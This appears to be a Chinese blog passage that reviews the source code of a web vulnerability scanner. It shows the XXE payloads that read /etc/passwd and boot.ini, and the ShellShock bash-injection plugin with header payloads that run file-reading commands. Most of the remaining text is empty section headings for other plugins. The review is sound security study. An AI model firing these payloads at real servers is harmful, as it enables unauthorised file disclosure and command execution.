<h2 id="plugins-attacks-xxe-py"><a href="#plugins-attacks-xxe-py" class="headerlink" title="plugins/attacks/xxe.py"></a>plugins/attacks/xxe.py</h2><p>代码结构与 htmli.py 类似。发送请求，然后匹配<code>if search(payload,req.content):</code>。个人看法，匹配效果较差。</p>
<p>payload在 lib/utils/payload.py:33:<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">xxep</span><span class="params">()</span>:</span></div><div class="line">	<span class="string">""" XML External Entity"""</span></div><div class="line">	payload  = [<span class="string">'&lt;!DOCTYPE foo [&lt;!ENTITY xxe7eb97 SYSTEM "file:///etc/passwd"&gt; ]&gt;'</span>]</div><div class="line">	payload += [<span class="string">'&lt;!DOCTYPE foo [&lt;!ENTITY xxe7eb97 SYSTEM "file:///c:/boot.ini"&gt; ]&gt;'</span>]</div><div class="line">	payload += [<span class="string">'&lt;!DOCTYPE foo [&lt;!ENTITY xxe46471 SYSTEM "file:///etc/passwd"&gt; ]&gt;'</span>]</div><div class="line">	payload += [<span class="string">'&lt;!DOCTYPE foo [&lt;!ENTITY xxe46471 SYSTEM "file:///c:/boot.ini"&gt; ]&gt;'</span>]</div><div class="line">	payload += [<span class="string">'&lt;?xml version="1.0"?&gt;&lt;change-log&gt;&lt;text&gt;root:/bin/bash&lt;/text&gt;&lt;/change-log&gt;'</span>]</div><div class="line">	payload += [<span class="string">'&lt;?xml version="1.0"?&gt;&lt;change-log&gt;&lt;text&gt;default=multi(0)disk(0)rdisk(0)partition(1)&lt;/text&gt;&lt;/change-log&gt;'</span>]</div><div class="line">	<span class="keyword">return</span> payload</div></pre></td></tr></table></figure></p>
<h2 id="plugins-attacks-bashi-py"><a href="#plugins-attacks-bashi-py" class="headerlink" title="plugins/attacks/bashi.py"></a>plugins/attacks/bashi.py</h2><p>bash注入，但是这里只检测了GET方法，POST请求并不检查！另外这里在 头部的<code>User-Agent</code>、<code>Referer</code>字段插入了payload。</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div></pre></td><td class="code"><pre><div class="line"><span class="class"><span class="keyword">class</span> <span class="title">bashi</span><span class="params">(Request)</span>:</span></div><div class="line">	<span class="string">"""Bash Command Injection (ShellShock)"""</span></div><div class="line">	get = <span class="string">"GET"</span></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self,kwargs,url,data)</span>:</span></div><div class="line">		Request.__init__(self,kwargs)</div><div class="line">		self.url = url</div><div class="line">		self.data = data</div><div class="line"></div><div class="line">	<span class="function"><span class="keyword">def</span> <span class="title">run</span><span class="params">(self)</span>:</span></div><div class="line">		<span class="string">"""Run"""</span></div><div class="line">		info(<span class="string">'Checking Bash Command Injection...'</span>)</div><div class="line">		<span class="keyword">for</span> payload <span class="keyword">in</span> bash():</div><div class="line">			<span class="comment"># user-agent and referer header add the payload</span></div><div class="line">			user_agent = &#123;<span class="string">'User-Agent'</span>:<span class="string">'() &#123; :;&#125;; echo; echo; %s;'</span>%payload,</div><div class="line">						  <span class="string">'Referer'</span>:<span class="string">'() &#123; :;&#125;; echo; echo; %s;'</span>%payload</div><div class="line">						  &#125;</div><div class="line">			<span class="comment"># send request</span></div><div class="line">			req = self.Send(url=self.url,method=self.get,headers=user_agent)</div><div class="line">			<span class="comment"># split payload</span></div><div class="line">			<span class="keyword">if</span> <span class="string">'\"'</span> <span class="keyword">in</span> payload: payload = payload.split(<span class="string">'"'</span>)[<span class="number">1</span>]</div><div class="line">			<span class="comment"># search root:/bin/ba[sh] or payload in content </span></div><div class="line">			<span class="keyword">if</span> search(<span class="string">r"root:/bin/[bash|sh]|"</span>+payload,req.content):</div><div class="line">				plus(<span class="string">"A potential \"Bash Command Injection\" was found via HTTP User-Agent header (ShellShock)"</span>)</div><div class="line">				more(<span class="string">"URL: &#123;&#125;"</span>.format(self.url))</div><div class="line">				more(<span class="string">"PAYLOAD: &#123;&#125;"</span>.format(<span class="string">'() &#123; :;&#125;; echo; echo; %s;'</span>%(payload)))</div><div class="line">				<span class="keyword">break</span></div></pre></td></tr></table></figure>
<p>payload定义在：<br><figure class="highlight python"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">def</span> <span class="title">bash</span><span class="params">()</span>:</span></div><div class="line">	<span class="string">"""Basic Bash Command Injection """</span></div><div class="line">	payload  = [<span class="string">"/bin/cat /etc/passwd"</span>]</div><div class="line">	payload += [<span class="string">"/etc/passwd"</span>]</div><div class="line">	payload += [<span class="string">"/et*/passw?"</span>]</div><div class="line">	payload += [<span class="string">"/ca?/bi? /et?/passw?"</span>]</div><div class="line">	payload += [<span class="string">"/et*/pa??wd"</span>]</div><div class="line">	payload += [<span class="string">"cat /etc/passwd"</span>]</div><div class="line">	payload += [<span class="string">"/bi*/echo \"%s\""</span>%(r_string(<span class="number">10</span>))]</div><div class="line">	<span class="keyword">return</span> payload</div></pre></td></tr></table></figure></p>
<p>先休息一下。。</p>
<h2 id="plugins-attacks-blindsqli-py"><a href="#plugins-attacks-blindsqli-py" class="headerlink" title="plugins/attacks/blindsqli.py"></a>plugins/attacks/blindsqli.py</h2><h2 id="plugins-attacks-headersqli-py"><a href="#plugins-attacks-headersqli-py" class="headerlink" title="plugins/attacks/headersqli.py"></a>plugins/attacks/headersqli.py</h2><h1 id="plugins-audit"><a href="#plugins-audit" class="headerlink" title="plugins/audit"></a>plugins/audit</h1><h2 id="plugins-audit-apache-py"><a href="#plugins-audit-apache-py" class="headerlink" title="plugins/audit/apache.py"></a>plugins/audit/apache.py</h2><h2 id="plugins-audit-phpinfo-py"><a href="#plugins-audit-phpinfo-py" class="headerlink" title="plugins/audit/phpinfo.py"></a>plugins/audit/phpinfo.py</h2><h2 id="plugins-audit-xst-py"><a href="#plugins-audit-xst-py" class="headerlink" title="plugins/audit/xst.py"></a>plugins/audit/xst.py</h2><h2 id="plugins-audit-robots-py"><a href="#plugins-audit-robots-py" class="headerlink" title="plugins/audit/robots.py"></a>plugins/audit/robots.py</h2><h2 id="plugins-audit-open-redirect-py"><a href="#plugins-audit-open-redirect-py" class="headerlink" title="plugins/audit/open_redirect.py"></a>plugins/audit/open_redirect.py</h2><h1 id="plugins-brute"><a href="#plugins-brute" class="headerlink" title="plugins/brute"></a>plugins/brute</h1><h2 id="plugins-brute-params-py"><a href="#plugins-brute-params-py" class="headerlink" title="plugins/brute/params.py"></a>plugins/brute/params.py</h2><h2 id="plugins-brute-backupfile-py"><a href="#plugins-brute-backupfile-py" class="headerlink" title="plugins/brute/backupfile.py"></a>plugins/brute/backupfile.py</h2><h2 id="plugins-brute-backupdir-py"><a href="#plugins-brute-backupdir-py" class="headerlink" title="plugins/brute/backupdir.py"></a>plugins/brute/backupdir.py</h2><h2 id="plugins-brute-adminpanel-py"><a href="#plugins-brute-adminpanel-py" class="headerlink" title="plugins/brute/adminpanel.py"></a>plugins/brute/adminpanel.py</h2><h2 id="plugins-brute-backdoor-py"><a href="#plugins-brute-backdoor-py" class="headerlink" title="plugins/brute/backdoor.py"></a>plugins/brute/backdoor.py</h2><h2 id="plugins-brute-commondir-py"><a href="#plugins-brute-commondir-py" class="headerlink" title="plugins/brute/commondir.py"></a>plugins/brute/commondir.py</h2><h2 id="plugins-brute-commonfile-py"><a href="#plugins-brute-commonfile-py" class="headerlink" title="plugins/brute/commonfile.py"></a>plugins/brute/commonfile.py</h2><h1 id="plugins-disclosure"><a href="#plugins-disclosure" class="headerlink" title="plugins/disclosure"></a>plugins/disclosure</h1><h2 id="plugins-disclosure-errors-py"><a href="#plugins-disclosure-errors-py" class="headerlink" title="plugins/disclosure/errors.py"></a>plugins/disclosure/errors.py</h2><h2 id="plugins-disclosure-creditcards-py"><a href="#plugins-disclosure-creditcards-py" class="headerlink" title="plugins/disclosure/creditcards.py"></a>plugins/disclosure/creditcards.py</h2><h2 id="plugins-disclosure-emails-py"><a href="#plugins-disclosure-emails-py" class="headerlink" title="plugins/disclosure/emails.py"></a>plugins/disclosure/emails.py</h2><h2 id="plugins-disclosure-privateip-py"><a href="#plugins-disclosure-privateip-py" class="headerlink" title="plugins/disclosure/privateip.py"></a>plugins/disclosure/privateip.py</h2><h2 id="plugins-disclosure-ssn-py"><a href="#plugins-disclosure-ssn-py" class="headerlink" title="plugins/disclosure/ssn.py"></a>plugins/disclosure/ssn.py</h2><h1 id="plugins-fingerprint"><a href="#plugins-fingerprint" class="headerlink" title="plugins/fingerprint"></a>plugins/fingerprint</h1><h2 id="cms"><a href="#cms" class="headerlink" title="cms"></a>cms</h2><h3 id="plugins-fingerprint-cms-plone-py"><a href="#plugins-fingerprint-cms-plone-py" class="headerlink" title="plugins/fingerprint/cms/plone.py"></a>plugins/fingerprint/cms/plone.py</h3><h3 id="plugins-fingerprint-cms-wordpress-py"><a href="#plugins-fingerprint-cms-wordpress-py" class="headerlink" title="plugins/fingerprint/cms/wordpress.py"></a>plugins/fingerprint/cms/wordpress.py</h3><h3 id="plugins-fingerprint-cms-silverstripe-py"><a href="#plugins-fingerprint-cms-silverstripe-py" class="headerlink" title="plugins/fingerprint/cms/silverstripe.py"></a>plugins/fingerprint/cms/silverstripe.py</h3><h3 id="plugins-fingerprint-cms-adobeaem-py"><a href="#plugins-fingerprint-cms-adobeaem-py" class="headerlink" title="plugins/fingerprint/cms/adobeaem.py"></a>plugins/fingerprint/cms/adobeaem.py</h3><h3 id="plugins-fingerprint-cms-joomla-py"><a href="#plugins-fingerprint-cms-joomla-py" class="headerlink" title="plugins/fingerprint/cms/joomla.py"></a>plugins/fingerprint/cms/joomla.py</h3><h3 id="plugins-fingerprint-cms-drupal-py"><a href="#plugins-fingerprint-cms-drupal-py" class="headerlink" title="plugins/fingerprint/cms/drupal.py"></a>plugins/fingerprint/cms/drupal.py</h3><h3 id="plugins-fingerprint-cms-magento-py"><a href="#plugins-fingerprint-cms-magento-py" class="headerlink" title="plugins/fingerprint/cms/magento.py"></a>plugins/fingerprint/cms/magento.py</h3><h2 id="framework"><a href="#framework" class="headerlink" title="framework"></a>framework</h2><h3 id="plugins-fingerprint-framework-symfony-py"><a href="#plugins-fingerprint-framework-symfony-py" class="headerlink" title="plugins/fingerprint/framework/symfony.py"></a>plugins/fingerprint/framework/symfony.py</h3><h3 id="plugins-fingerprint-framework-cherrypy-py"><a href="#plugins-fingerprint-framework-cherrypy-py" class="headerlink" title="plugins/fingerprint/framework/cherrypy.py"></a>plugins/fingerprint/framework/cherrypy.py</h3><h3 id="plugins-fingerprint-framework-seagull-py"><a href="#plugins-fingerprint-framework-seagull-py" class="headerlink" title="plugins/fingerprint/framework/seagull.py"></a>plugins/fingerprint/framework/seagull.py</h3><h3 id="plugins-fingerprint-framework-horde-py"><a href="#plugins-fingerprint-framework-horde-py" class="headerlink" title="plugins/fingerprint/framework/horde.py"></a>plugins/fingerprint/framework/horde.py</h3><h3 id="plugins-fingerprint-framework-cakephp-py"><a href="#plugins-fingerprint-framework-cakephp-py" class="headerlink" title="plugins/fingerprint/framework/cakephp.py"></a>plugins/fingerprint/framework/cakephp.py</h3><h3 id="plugins-fingerprint-framework-zend-py"><a href="#plugins-fingerprint-framework-zend-py" class="headerlink" title="plugins/fingerprint/framework/zend.py"></a>plugins/fingerprint/framework/zend.py</h3><h3 id="plugins-fingerprint-framework-play-py"><a href="#plugins-fingerprint-framework-play-py" class="headerlink" title="plugins/fingerprint/framework/play.py"></a>plugins/fingerprint/framework/play.py</h3><h3 id="plugins-fingerprint-framework-phalcon-py"><a href="#plugins-fingerprint-framework-phalcon-py" class="headerlink" title="plugins/fingerprint/framework/phalcon.py"></a>plugins/fingerprint/framework/phalcon.py</h3><h3 id="plugins-fingerprint-framework-nette-py"><a href="#plugins-fingerprint-framework-nette-py" class="headerlink" title="plugins/fingerprint/framework/nette.py"></a>plugins/fingerprint/framework/nette.py</h3><h3 id="plugins-fingerprint-framework-spring-py"><a href="#plugins-fingerprint-framework-spring-py" class="headerlink" title="plugins/fingerprint/framework/spring.py"></a>plugins/fingerprint/framework/spring.py</h3><h3 id="plugins-fingerprint-framework-karrigell-py"><a href="#plugins-fingerprint-framework-karrigell-py" class="headerlink" title="plugins/fingerprint/framework/karrigell.py"></a>plugins/fingerprint/framework/karrigell.py</h3><h3 id="plugins-fingerprint-framework-grails-py"><a href="#plugins-fingerprint-framework-grails-py" class="headerlink" title="plugins/fingerprint/framework/grails.py"></a>plugins/fingerprint/framework/grails.py</h3><h3 id="plugins-fingerprint-framework-web2py-py"><a href="#plugins-fingerprint-framework-web2py-py" class="headerlink" title="plugins/fingerprint/framework/web2py.py"></a>plugins/fingerprint/framework/web2py.py</h3><h3 id="plugins-fingerprint-framework-flask-py"><a href="#plugins-fingerprint-framework-flask-py" class="headerlink" title="plugins/fingerprint/framework/flask.py"></a>plugins/fingerprint/framework/flask.py</h3><h3 id="plugins-fingerprint-framework-yii-py"><a href="#plugins-fingerprint-framework-yii-py" class="headerlink" title="plugins/fingerprint/framework/yii.py"></a>plugins/fingerprint/framework/yii.py</h3><h3 id="plugins-fingerprint-framework-codeigniter-py"><a href="#plugins-fingerprint-framework-codeigniter-py" class="headerlink" title="plugins/fingerprint/framework/codeigniter.py"></a>plugins/fingerprint/framework/codeigniter.py</h3><h3 id="plugins-fingerprint-framework-fuelphp-py"><a href="#plugins-fingerprint-framework-fuelphp-py" class="headerlink" title="plugins/fingerprint/framework/fuelphp.py"></a>plugins/fingerprint/framework/fuelphp.py</h3><h3 id="plugins-fingerprint-framework-larvel-py"><a href="#plugins-fingerprint-framework-larvel-py" class="headerlink" title="plugins/fingerprint/framework/larvel.py"></a>plugins/fingerprint/framework/larvel.py</h3><h3 id="plugins-fingerprint-framework-asp-mvc-py"><a href="#plugins-fingerprint-framework-asp-mvc-py" class="headerlink" title="plugins/fingerprint/framework/asp_mvc.py"></a>plugins/fingerprint/framework/asp_mvc.py</h3><h3 id="plugins-fingerprint-framework-apachejackrabbit-py"><a href="#plugins-fingerprint-framework-apachejackrabbit-py" class="headerlink" title="plugins/fingerprint/framework/apachejackrabbit.py"></a>plugins/fingerprint/framework/apachejackrabbit.py</h3><h3 id="plugins-fingerprint-framework-django-py"><a href="#plugins-fingerprint-framework-django-py" class="headerlink" title="plugins/fingerprint/framework/django.py"></a>plugins/fingerprint/framework/django.py</h3><h3 id="plugins-fingerprint-framework-rails-py"><a href="#plugins-fingerprint-framework-rails-py" class="headerlink" title="plugins/fingerprint/framework/rails.py"></a>plugins/fingerprint/framework/rails.py</h3><h3 id="plugins-fingerprint-framework-dancer-py"><a href="#plugins-fingerprint-framework-dancer-py" class="headerlink" title="plugins/fingerprint/framework/dancer.py"></a>plugins/fingerprint/framework/dancer.py</h3><h2 id="header"><a href="#header" class="headerlink" title="header"></a>header</h2><h3 id="plugins-fingerprint-header-header-py"><a href="#plugins-fingerprint-header-header-py" class="headerlink" title="plugins/fingerprint/header/header.py"></a>plugins/fingerprint/header/header.py</h3><h3 id="plugins-fingerprint-header-cookies-py"><a href="#plugins-fingerprint-header-cookies-py" class="headerlink" title="plugins/fingerprint/header/cookies.py"></a>plugins/fingerprint/header/cookies.py</h3><h2 id="language"><a href="#language" class="headerlink" title="language"></a>language</h2><h3 id="plugins-fingerprint-language-aspnet-py"><a href="#plugins-fingerprint-language-aspnet-py" class="headerlink" title="plugins/fingerprint/language/aspnet.py"></a>plugins/fingerprint/language/aspnet.py</h3><h3 id="plugins-fingerprint-language-perl-py"><a href="#plugins-fingerprint-language-perl-py" class="headerlink" title="plugins/fingerprint/language/perl.py"></a>plugins/fingerprint/language/perl.py</h3><h3 id="plugins-fingerprint-language-java-py"><a href="#plugins-fingerprint-language-java-py" class="headerlink" title="plugins/fingerprint/language/java.py"></a>plugins/fingerprint/language/java.py</h3><h3 id="plugins-fingerprint-language-coldfusion-py"><a href="#plugins-fingerprint-language-coldfusion-py" class="headerlink" title="plugins/fingerprint/language/coldfusion.py"></a>plugins/fingerprint/language/coldfusion.py</h3><h3 id="plugins-fingerprint-language-python-py"><a href="#plugins-fingerprint-language-python-py" class="headerlink" title="plugins/fingerprint/language/python.py"></a>plugins/fingerprint/language/python.py</h3><h3 id="plugins-fingerprint-language-flash-py"><a href="#plugins-fingerprint-language-flash-py" class="headerlink" title="plugins/fingerprint/language/flash.py"></a>plugins/fingerprint/language/flash.py</h3><h3 id="plugins-fingerprint-language-php-py"><a href="#plugins-fingerprint-language-php-py" class="headerlink" title="plugins/fingerprint/language/php.py"></a>plugins/fingerprint/language/php.py</h3><h3 id="plugins-fingerprint-language-ruby-py"><a href="#plugins-fingerprint-language-ruby-py" class="headerlink" title="plugins/fingerprint/language/ruby.py"></a>plugins/fingerprint/language/ruby.py</h3><h3 id="plugins-fingerprint-language-asp-py"><a href="#plugins-fingerprint-language-asp-py" class="headerlink" title="plugins/fingerprint/language/asp.py"></a>plugins/fingerprint/language/asp.py</h3><h2 id="os"><a href="#os" class="headerlink" title="os"></a>os</h2><h3 id="plugins-fingerprint-os-unix-py"><a href="#plugins-fingerprint-os-unix-py" class="headerlink" title="plugins/fingerprint/os/unix.py"></a>plugins/fingerprint/os/unix.py</h3><h3 id="plugins-fingerprint-os-ibm-py"><a href="#plugins-fingerprint-os-ibm-py" class="headerlink" title="plugins/fingerprint/os/ibm.py"></a>plugins/fingerprint/os/ibm.py</h3><h3 id="plugins-fingerprint-os-linux-py"><a href="#plugins-fingerprint-os-linux-py" class="headerlink" title="plugins/fingerprint/os/linux.py"></a>plugins/fingerprint/os/linux.py</h3><h3 id="plugins-fingerprint-os-solaris-py"><a href="#plugins-fingerprint-os-solaris-py" class="headerlink" title="plugins/fingerprint/os/solaris.py"></a>plugins/fingerprint/os/solaris.py</h3><h3 id="plugins-fingerprint-os-bsd-py"><a href="#plugins-fingerprint-os-bsd-py" class="headerlink" title="plugins/fingerprint/os/bsd.py"></a>plugins/fingerprint/os/bsd.py</h3><h3 id="plugins-fingerprint-os-mac-py"><a href="#plugins-fingerprint-os-mac-py" class="headerlink" title="plugins/fingerprint/os/mac.py"></a>plugins/fingerprint/os/mac.py</h3><h3 id="plugins-fingerprint-os-windows-py"><a href="#plugins-fingerprint-os-windows-py" class="headerlink" title="plugins/fingerprint/os/windows.py"></a>plugins/fingerprint/os/windows.py</h3><h2 id="server"><a href="#server" class="headerlink" title="server"></a>server</h2><h3 id="plugins-fingerprint-server-server-py"><a href="#plugins-fingerprint-server-server-py" class="headerlink" title="plugins/fingerprint/server/server.py"></a>plugins/fingerprint/server/server.py</h3><h2 id="waf"><a href="#waf" class="headerlink" title="waf"></a>waf</h2><h3 id="plugins-fingerprint-waf-yundun-py"><a href="#plugins-fingerprint-waf-yundun-py" class="headerlink" title="plugins/fingerprint/waf/yundun.py"></a>plugins/fingerprint/waf/yundun.py</h3><h3 id="plugins-fingerprint-waf-urlscan-py"><a href="#plugins-fingerprint-waf-urlscan-py" class="headerlink" title="plugins/fingerprint/waf/urlscan.py"></a>plugins/fingerprint/waf/urlscan.py</h3><h3 id="plugins-fingerprint-waf-datapower-py"><a href="#plugins-fingerprint-waf-datapower-py" class="headerlink" title="plugins/fingerprint/waf/datapower.py"></a>plugins/fingerprint/waf/datapower.py</h3><h3 id="plugins-fingerprint-waf-sucuri-py"><a href="#plugins-fingerprint-waf-sucuri-py" class="headerlink" title="plugins/fingerprint/waf/sucuri.py"></a>plugins/fingerprint/waf/sucuri.py</h3><h3 id="plugins-fingerprint-waf-aws-py"><a href="#plugins-fingerprint-waf-aws-py" class="headerlink" title="plugins/fingerprint/waf/aws.py"></a>plugins/fingerprint/waf/aws.py</h3><h3 id="plugins-fingerprint-waf-senginx-py"><a href="#plugins-fingerprint-waf-senginx-py" class="headerlink" title="plugins/fingerprint/waf/senginx.py"></a>plugins/fingerprint/waf/senginx.py</h3><h3 id="plugins-fingerprint-waf-baidu-py"><a href="#plugins-fingerprint-waf-baidu-py" class="headerlink" title="plugins/fingerprint/waf/baidu.py"></a>plugins/fingerprint/waf/baidu.py</h3><h3 id="plugins-fingerprint-waf-safe3-py"><a href="#plugins-fingerprint-waf-safe3-py" class="headerlink" title="plugins/fingerprint/waf/safe3.py"></a>plugins/fingerprint/waf/safe3.py</h3><h3 id="plugins-fingerprint-waf-secureiis-py"><a href="#plugins-fingerprint-waf-secureiis-py" class="headerlink" title="plugins/fingerprint/waf/secureiis.py"></a>plugins/fingerprint/waf/secureiis.py</h3><h3 id="plugins-fingerprint-waf-anquanbao-py"><a href="#plugins-fingerprint-waf-anquanbao-py" class="headerlink" title="plugins/fingerprint/waf/anquanbao.py"></a>plugins/fingerprint/waf/anquanbao.py</h3><h3 id="plugins-fingerprint-waf-teros-py"><a href="#plugins-fingerprint-waf-teros-py" class="headerlink" title="plugins/fingerprint/waf/teros.py"></a>plugins/fingerprint/waf/teros.py</h3><h3 id="plugins-fingerprint-waf-sitelock-py"><a href="#plugins-fingerprint-waf-sitelock-py" class="headerlink" title="plugins/fingerprint/waf/sitelock.py"></a>plugins/fingerprint/waf/sitelock.py</h3><h3 id="plugins-fingerprint-waf-netcontinuum-py"><a href="#plugins-fingerprint-waf-netcontinuum-py" class="headerlink" title="plugins/fingerprint/waf/netcontinuum.py"></a>plugins/fingerprint/waf/netcontinuum.py</h3><h3 id="plugins-fingerprint-waf-cloudflare-py"><a href="#plugins-fingerprint-waf-cloudflare-py" class="headerlink" title="plugins/fingerprint/waf/cloudflare.py"></a>plugins/fingerprint/waf/cloudflare.py</h3><h3 id="plugins-fingerprint-waf-nsfocus-py"><a href="#plugins-fingerprint-waf-nsfocus-py" class="headerlink" title="plugins/fingerprint/waf/nsfocus.py"></a>plugins/fingerprint/waf/nsfocus.py</h3><h3 id="plugins-fingerprint-waf-airlock-py"><a href="#plugins-fingerprint-waf-airlock-py" class="headerlink" title="plugins/fingerprint/waf/airlock.py"></a>plugins/fingerprint/waf/airlock.py</h3><h3 id="plugins-fingerprint-waf-stingray-py"><a href="#plugins-fingerprint-waf-stingray-py" class="headerlink" title="plugins/fingerprint/waf/stingray.py"></a>plugins/fingerprint/waf/stingray.py</h3><h3 id="plugins-fingerprint-waf-safedog-py"><a href="#plugins-fingerprint-waf-safedog-py" class="headerlink" title="plugins/fingerprint/waf/safedog.py"></a>plugins/fingerprint/waf/safedog.py</h3><h3 id="plugins-fingerprint-waf-profense-py"><a href="#plugins-fingerprint-waf-profense-py" class="headerlink" title="plugins/fingerprint/waf/profense.py"></a>plugins/fingerprint/waf/profense.py</h3><h3 id="plugins-fingerprint-waf-comodo-py"><a href="#plugins-fingerprint-waf-comodo-py" class="headerlink" title="plugins/fingerprint/waf/comodo.py"></a>plugins/fingerprint/waf/comodo.py</h3><h3 id="plugins-fingerprint-waf-modsecurity-py"><a href="#plugins-fingerprint-waf-modsecurity-py" class="headerlink" title="plugins/fingerprint/waf/modsecurity.py"></a>plugins/fingerprint/waf/modsecurity.py</h3><h3 id="plugins-fingerprint-waf-blockdos-py"><a href="#plugins-fingerprint-waf-blockdos-py" class="headerlink" title="plugins/fingerprint/waf/blockdos.py"></a>plugins/fingerprint/waf/blockdos.py</h3><h3 id="plugins-fingerprint-waf-hyperguard-py"><a href="#plugins-fingerprint-waf-hyperguard-py" class="headerlink" title="plugins/fingerprint/waf/hyperguard.py"></a>plugins/fingerprint/waf/hyperguard.py</h3><h3 id="plugins-fingerprint-waf-sophos-py"><a href="#plugins-fingerprint-waf-sophos-py" class="headerlink" title="plugins/fingerprint/waf/sophos.py"></a>plugins/fingerprint/waf/sophos.py</h3><h3 id="plugins-fingerprint-waf-requestvalidationmode-py"><a href="#plugins-fingerprint-waf-requestvalidationmode-py" class="headerlink" title="plugins/fingerprint/waf/requestvalidationmode.py"></a>plugins/fingerprint/waf/requestvalidationmode.py</h3><h3 id="plugins-fingerprint-waf-cloudfront-py"><a href="#plugins-fingerprint-waf-cloudfront-py" class="headerlink" title="plugins/fingerprint/waf/cloudfront.py"></a>plugins/fingerprint/waf/cloudfront.py</h3><h3 id="plugins-fingerprint-waf-netscaler-py"><a href="#plugins-fingerprint-waf-netscaler-py" class="headerlink" title="plugins/fingerprint/waf/netscaler.py"></a>plugins/fingerprint/waf/netscaler.py</h3><h3 id="plugins-fingerprint-waf-uspses-py"><a href="#plugins-fingerprint-waf-uspses-py" class="headerlink" title="plugins/fingerprint/waf/uspses.py"></a>plugins/fingerprint/waf/uspses.py</h3><h3 id="plugins-fingerprint-waf-binarysec-py"><a href="#plugins-fingerprint-waf-binarysec-py" class="headerlink" title="plugins/fingerprint/waf/binarysec.py"></a>plugins/fingerprint/waf/binarysec.py</h3><h3 id="plugins-fingerprint-waf-paloalto-py"><a href="#plugins-fingerprint-waf-paloalto-py" class="headerlink" title="plugins/fingerprint/waf/paloalto.py"></a>plugins/fingerprint/waf/paloalto.py</h3><h3 id="plugins-fingerprint-waf-wallarm-py"><a href="#plugins-fingerprint-waf-wallarm-py" class="headerlink" title="plugins/fingerprint/waf/wallarm.py"></a>plugins/fingerprint/waf/wallarm.py</h3><h3 id="plugins-fingerprint-waf-incapsula-py"><a href="#plugins-fingerprint-waf-incapsula-py" class="headerlink" title="plugins/fingerprint/waf/incapsula.py"></a>plugins/fingerprint/waf/incapsula.py</h3><h3 id="plugins-fingerprint-waf-knownsec-py"><a href="#plugins-fingerprint-waf-knownsec-py" class="headerlink" title="plugins/fingerprint/waf/knownsec.py"></a>plugins/fingerprint/waf/knownsec.py</h3><h3 id="plugins-fingerprint-waf-jiasule-py"><a href="#plugins-fingerprint-waf-jiasule-py" class="headerlink" title="plugins/fingerprint/waf/jiasule.py"></a>plugins/fingerprint/waf/jiasule.py</h3><h3 id="plugins-fingerprint-waf-edgecast-py"><a href="#plugins-fingerprint-waf-edgecast-py" class="headerlink" title="plugins/fingerprint/waf/edgecast.py"></a>plugins/fingerprint/waf/edgecast.py</h3><h3 id="plugins-fingerprint-waf-varnish-py"><a href="#plugins-fingerprint-waf-varnish-py" class="headerlink" title="plugins/fingerprint/waf/varnish.py"></a>plugins/fingerprint/waf/varnish.py</h3><h3 id="plugins-fingerprint-waf-dotdefender-py"><a href="#plugins-fingerprint-waf-dotdefender-py" class="headerlink" title="plugins/fingerprint/waf/dotdefender.py"></a>plugins/fingerprint/waf/dotdefender.py</h3><h3 id="plugins-fingerprint-waf-newdefend-py"><a href="#plugins-fingerprint-waf-newdefend-py" class="headerlink" title="plugins/fingerprint/waf/newdefend.py"></a>plugins/fingerprint/waf/newdefend.py</h3><h3 id="plugins-fingerprint-waf-isaserver-py"><a href="#plugins-fingerprint-waf-isaserver-py" class="headerlink" title="plugins/fingerprint/waf/isaserver.py"></a>plugins/fingerprint/waf/isaserver.py</h3><h3 id="plugins-fingerprint-waf-kona-py"><a href="#plugins-fingerprint-waf-kona-py" class="headerlink" title="plugins/fingerprint/waf/kona.py"></a>plugins/fingerprint/waf/kona.py</h3><h3 id="plugins-fingerprint-waf-asm-py"><a href="#plugins-fingerprint-waf-asm-py" class="headerlink" title="plugins/fingerprint/waf/asm.py"></a>plugins/fingerprint/waf/asm.py</h3><h3 id="plugins-fingerprint-waf-fortiweb-py"><a href="#plugins-fingerprint-waf-fortiweb-py" class="headerlink" title="plugins/fingerprint/waf/fortiweb.py"></a>plugins/fingerprint/waf/fortiweb.py</h3><h3 id="plugins-fingerprint-waf-yunsuo-py"><a href="#plugins-fingerprint-waf-yunsuo-py" class="headerlink" title="plugins/fingerprint/waf/yunsuo.py"></a>plugins/fingerprint/waf/yunsuo.py</h3><h3 id="plugins-fingerprint-waf-trafficshield-py"><a href="#plugins-fingerprint-waf-trafficshield-py" class="headerlink" title="plugins/fingerprint/waf/trafficshield.py"></a>plugins/fingerprint/waf/trafficshield.py</h3><h3 id="plugins-fingerprint-waf-sonicwall-py"><a href="#plugins-fingerprint-waf-sonicwall-py" class="headerlink" title="plugins/fingerprint/waf/sonicwall.py"></a>plugins/fingerprint/waf/sonicwall.py</h3><h3 id="plugins-fingerprint-waf-barracuda-py"><a href="#plugins-fingerprint-waf-barracuda-py" class="headerlink" title="plugins/fingerprint/waf/barracuda.py"></a>plugins/fingerprint/waf/barracuda.py</h3><h3 id="plugins-fingerprint-waf-bigip-py"><a href="#plugins-fingerprint-waf-bigip-py" class="headerlink" title="plugins/fingerprint/waf/bigip.py"></a>plugins/fingerprint/waf/bigip.py</h3><h3 id="plugins-fingerprint-waf-ciscoacexml-py"><a href="#plugins-fingerprint-waf-ciscoacexml-py" class="headerlink" title="plugins/fingerprint/waf/ciscoacexml.py"></a>plugins/fingerprint/waf/ciscoacexml.py</h3><h3 id="plugins-fingerprint-waf-betterwpsecurity-py"><a href="#plugins-fingerprint-waf-betterwpsecurity-py" class="headerlink" title="plugins/fingerprint/waf/betterwpsecurity.py"></a>plugins/fingerprint/waf/betterwpsecurity.py</h3><h3 id="plugins-fingerprint-waf-denyall-py"><a href="#plugins-fingerprint-waf-denyall-py" 